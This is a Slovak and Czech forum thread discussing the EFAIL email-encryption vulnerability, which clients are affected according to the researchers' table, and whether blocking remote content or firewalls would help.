Tak pokiaľ viem, nastavenie klienta (aspoň toho môjho) to nerieši ako zapnutie vypnutie obrázkov v HTML renderingu správy, ale ako povolenie na stiahnutie vzdialeného obsahu. A tomu už zodpovedá akýkoľvek potencionálny request vygenerovaný z emailovej správy. Je už jedno či je to CSS alebo HTML vrstva – von neprejde nič, pretože klient to zatne ako nepovolenú požiadavku. Toto už je implementovateľné oveľa jednoduchšie ako na vrstve HTML/CSS renderingu. Zhvadilosť ako JavaScript v emaile predpokladám už dnes nepodporuje nikto.
Je niekde zverejnený zoznam mailových klientov, ktoré uvedenými zraniteľnosťami trpia?
-
xxxxx (neregistrovaný)
Ano, jsou tam právě díry i při vypnutí.
Stáhněte si ten PDF odkazovaný ze článku a kolem stránky 11 je tam jak celkem přehledná tabulka, tak i ten text co jsem se kopíroval o pár příspěvků výše (že je to děravé i při vypnutí veškerého vzdáleného obsahu, dokud je zapnutý render HTML jako takový).Podle tabulky, u PGP je to výrazně lepší (méně děr), pro S/MIME (pokud klienti podporují) prošly jen dva klienti úplně a cca 5 dalších klientů zachráníte pokud nekliknete (což je fajn, pokud se nenasadí sociální inženýrství). Zklamal třeba i webmail GMail (který prý nepodporuje nic jiné kromě S/MIME, ale pro S/MIME se jim prý, dle tabulky, zase povedlo najít díru i bez klikání).
-
xxxxx (neregistrovaný)
Jj, jsou prasácky napsané.
Ale, na obranu (byť chabou) lze říci, že doteď to asi nebylo tak horké. Protože v nejobvyklejším "útoku", spamu, je třeba něco pro uživatele zobrazit, aby spam fungoval.
Proto doteď díry směrem ven asi nikdo nezneužil (co vím), ani to nikoho moc nenapadlo, protože to doteď nebylo k ničemu (třeba pro spammery, coby obvyklé "útočníky").
-
xxxxx (neregistrovaný)
Asi by mohl dočasně částečně pomoci aplikační firewall (na 80, 443, ...), dokud by útočník nepoužil jiné porty (třeba přímo 110/995/... , byť na http protokolu na straně serveru) a HTML render mu ty jiné porty zpracoval a správně směroval - což nevím kteří klienti co dokáží.
Pak by ale zase byl problém s ověřováním certifikátů u podpisů (obecně, u jiných zpráv, všech) a podobně, které tuším potřebují 80/443 směrem ven od email klienta.
-
xxxxx (neregistrovaný)
Také jsem si myslel, ale většinou nestačí:
O pár odpovědí výše:
https://www.root.cz/clanky/chyba-efail-umoznuje-cist-zpravy-zasifrovane-pomoci-pgp-a-s-mime/nazory/977413/
jsem nakopíroval opis z jejich dokumentu (anglicky), kde ve stručnosti popisují, co vše zkoušeli a jak moc jsou klienti děraví ... Odpověď zní ... Hodně.P.S.: Ono není třeba obrázek či cokoli jiného zobrazit (visuálně interagovat se zprávou). Stačí jen postlat požadavek na server. Takže našli díry v i místech, kde to jinak normální spammeři nevyužijí a doteď to klienti málo hlídali, protože uživatel nic neuvidí a obvyklý spam se mine účinkem. Možná i proto je tolik děr.
